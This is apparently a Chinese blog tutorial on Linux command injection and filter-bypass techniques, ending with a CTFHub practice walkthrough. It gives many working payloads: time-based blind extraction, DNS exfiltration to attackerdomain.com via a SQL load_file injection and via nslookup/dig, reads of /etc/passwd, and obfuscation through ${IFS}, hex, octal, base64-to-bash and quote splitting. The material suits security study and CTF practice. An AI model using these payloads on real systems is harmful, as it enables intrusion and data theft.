0x00 文章前言

隔了这么久才写这一篇,其实还是比较惭愧的。本篇文章会尽量写的成体系,但是重点在于绕过。

0x01 基础概念

命令注入,一般是Linux命令注入,本文也以Linux命令注入为主。

符号概念

| (管道符号)

用于将一个命令的输出作为另一个命令的输入

1
2
comand1 | comand2
cat pax.txt | base64

& (and符)

用于将多个命令组合在一起使它们可以同时执行而不需要等待前一个命令的完成

1
command1 & command2

&& (逻辑与)

用于在命令行中执行多个命令并且只有前一个命令成功执行(返回退出码为0)时才会执行下一个命令

1
command1 && command2 [&& command3 ...]

||(逻辑或)

用于在命令行中执行多个命令并且只有前一个命令执行失败(返回退出码非零)时才会执行下一个命令

1
command1 || command2 [|| command3 ...]

;(分号)

用于分隔多个命令,使它们按顺序依次执行,无论前一个命令是否成功执行,分号后面的命令都会被执行

1
command1 ; command2  [; command3 ...]

``(反引号)与$()

用于执行命令并将命令的输出结果嵌入到另一个命令或上下文中

1
2
command1 \`command2\`
ls \`echo /etc\`
1
command1 \$(command2)

()和{}

括号()

  • 命令分组:括号中的命令会作为一个独立的子进程在一个子shell 中执行
  • 变量赋值:可以将括号中的命令的输出结果赋值给变量
1
(command1; command2)

将这两个命令放置在括号()中,它们会作为一个独立的子进程在一个子shell中执行

花括号{}

花括号中可以包含一个或多个值并以逗号分隔,在命令行中花括号会展开成多个值用于生成多个命令或参数的组合

exp1:

1
echo {1..5}

当执行命令时花括号会展开成多个值,即1 2 3 4 5并作为参数传递给echo命令

exp2:

1
cp file{.txt,.bak}

当执行命令时花括号会展开成两个值,即file.txtfile.bak并作为参数传递给cp命令。但是这两个文件必须存在,不然会报错。

文件描述

在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值

了解下面三个:

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出

另外,平时使用的”<”和”>”相当于使用”0<”和”1>”

常见示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cmd > file          将输出重定向到file
cmd < file 将输入重定向到file
cmd >> file 将输出以追加的方式重定向到file
cmd << file 将文本内容作为输入
cmd <> file 以读写模式把文件file重定向到输入
cmd >| file 将命令的标准输出强制覆盖写入到文件中,即使文件已经存在并且具有写保护
: > filename 将文件filename截断为0长度,如果文件不存在, 那么就创建一个0长度的文件
cmd >&n 将命令的标准输出和标准错误输出都重定向到文件描述符n
cmd m>&n 将一个文件描述符m重定向到另一个文件描述符n
cmd >&- 关闭标准输出
cmd <&n 输入来自文件描述符n* cmd m<&n m来自文件描述各个n
cmd <&- 关闭命令的标准输入文件描述符
cmd <&n- 将命令的标准输入重定向自文件描述符n并关闭该文件描述符
cmd >&n- 将命令的标准输出和标准错误输出都重定向到文件描述符n并关闭该文件描述符

本文就不说正则了。

0x02 注入类型

根据有无回显可以分为常规注入和盲注。

常规注入

这里不细说,注意一下ping测试、Trace测试等功能或者与IP地址有关的参数。

盲注

盲注的结果不会回显,对此我们需要先判断盲注是否存在,再想办法得到盲注的结果。

时间延迟

可以通过时间延迟判断盲注是否存在,以及盲注。

payload

1
sleep $(cat /flag | cut -c1 | tr f 4)

解释:

  1. 读取 /flag.txt 文件的内容。
  2. 提取每行的第一个字符。
  3. 将字符 f 替换为 4
  4. 使用替换后的结果作为 sleep 命令的参数。

写个脚本,或者bp爆破都可以。原理上与SQL时间盲注一致。

数据写入

如果存在盲注,可以将数据写入到有写入和访问权限的文件,再访问这些文件即可得到数据。

上述方法的本质是将输出流重定向到可以访问的文件。

比如:

1
Pax > /var/www/static/handsome.txt 

OOB之DNS

概述

简单介绍一OOBOut-of-Band,带外通道技术):DNS数据外带(DNS Exfiltration)。

我们需要注册域名,配置DNS解析服务器,以得到日志文件记录的所有DNS查询请求。

日志会记录域名下的子域名信息。如果子域名设置成目标数据,那么数据就被成功带出来了。例如,如果目标系统发送了一个DNS查询请求 data.mydomain.com,攻击者可以从中提取出数据库的版本信息 data

SQL注入为例:

1
' UNION SELECT 1, load_file(concat('\\\\',@@version,'.attackerdomain.com\\')), 3 -- 
  • load_file:MySQL中的一个函数,用于从服务器的文件系统加载数据。尽管这个函数通常用于读取文件,但在这里,我们利用它来触发外部通信。

  • concat('\\\\',@@version,'.attackerdomain.com\\'):

    • @@versionMySQL的一个全局变量,包含数据库服务器的版本信息。

    • concat 函数用于将字符串连接在一起。这里我们将数据库版本信息与攻击者控制的域名拼接在一起。

    • \\\\ 是转义字符,它在SQL语句中表示一个反斜杠(\)。最终生成的字符串形式为 \\version_number.attackerdomain.com\

数据库服务器在尝试处理这个路径时:\\version_number.attackerdomain.com\,可能会发出DNS查询 5.7.21.attackerdomain.com,从而将数据库版本信息泄露给攻击者控制的DNS服务器。

利用

命令注入一般在Linux环境,使用nslookupdig查询DNS

1
slookup $(uname -a).attackerdomain.com
1
dig $(uname -a).attackerdomain.com

还可以通过许多种方法实现DNS外带,不要局限于某种思路。

0x03 过滤绕过

过滤空格

${IFS}

在Linux中$IFS是一个环境变量,表示”Internal Field Separator”(内部字段分隔符),它用于指定命令行参数和输入流中字段(单词)之间的分隔符,默认情况下其值为包含空格、制表符和换行符的字符串

exp:

1
cat${IFS}/flag

重定向符绕过(<>)

exp:

1
2
cat<>flag.txt
cat<flag.txt

%09(需要php环境)

php环境下web输入%09等效于空格

1
cat%09flag.txt

十六进制

exp:

1
X=$'cat\x20/etc/passwd'&&$X

讲讲这段指令的语法:

第一个**$**:允许反斜杠后面跟着一个十六进制值来表示特殊字符或ASCII码,这种写法允许\x20表示为空格。

第一个**$**:执行变量 x 中保存的命令 cat /etc/passwd

换行拼接

1
2
3
4
5
#	cat\
> \
> pax.txt

Pax is man!

比较抽象

过滤斜杠

${HOME:0:1}

${HOME:0:1} 是一个 Bash 字符串切片的语法。

  • ${HOME} 代表环境变量 HOME 的值,通常是用户的主目录路径。
  • :0:1 表示从字符串的第 0 个字符开始,提取 1 个字符。

exp(HOME小写好像也可以):

1
cat /etc/passwd ---->>> cat ${HOME:0:1}etc${HOME:0:1}passwd

$(echo . | tr ‘!-0’ ‘“-1’)

直接拿来用:

1
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

长度检测

后端有时会检测和限制长度。

写入目录

真的麻烦

1
2
3
4
5
#	>cat\
> ' '\pax.txt
###############此时就有一个文件:cat pax.txt
# ls > a
# $(sed -n '4p' /a)

命令换行

1
2
3
4
#	ca\
\ t\
\ \ #############斜杠前有一个空格
\ flag.txt

黑名单类

如果一些关键字被过滤了呢?

变量拼接

使用shell变量拼接指令

exp:

1
2
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e
a=ca;b=t;c=' ' ;d=/flag.txt;$a$b$c$d

base编码

1
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

或者

1
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

其他进制

十六进制:

1
2
echo 'cat flag.txt' |xxd
echo "0x63617420666c61672e7478740a" | xxd -r -p | bash

八进制:

1
2
echo "cat flag.txt" | od -An -t o1
$(printf "\143\141\164\040\146\154\141\147\056\164\170\164\012")

通配符类

通配符 指令
? cat /f?ag.txt
* cat /f*
[] cat /fl[abcd]g.txt
{} cat fl{a,b,c,d}g.txt

特殊变量

一般利用$1,$@等值为空的变量与payload拼接:

1
cat /fl$1ag.txt

反斜杠类

命令行解释器(如 Bash)通常不自动解析转义字符,除非在特定的上下文中(例如在某些编程语言中)

1
ca\t fla\g.txt

巧用引号

exp:

1
2
3
ca""t fla""g.txt
ca''t fla''g.txt
ca""t fla''g.txt

命令代替

多见多记

1
2
3
4
5
6
7
8
9
cat                 从第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 根据窗口大小,显示文件内容
head 用于显示头几行
tail 用于显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
sort 读文件

0x04 真题练习

CTFHub技能树RCE->命令注入->综合过滤练习

过滤运算符、过滤目录分隔符、过滤反斜杠、过滤空格、过滤封号、过滤cat、过滤关键字flag和ctfhub

难点:分号**;**怎么替代?

答:%0a(经过URL编码的PHP换行符)可以代替分号**;**

第一步:

1
1%0als

发现目录flag_is_here

第二步:

1
1%0als${IFS}fl?g_is_here

发现文件flag_230191972813921.php

第三步:

1
1%0acd${IFS}fl?g_is_here%0atac${IFS}fl?g_230191972813921.php

成功得到Flag。其实方法千千万,不要局限自己的思路。

0x05 参考文章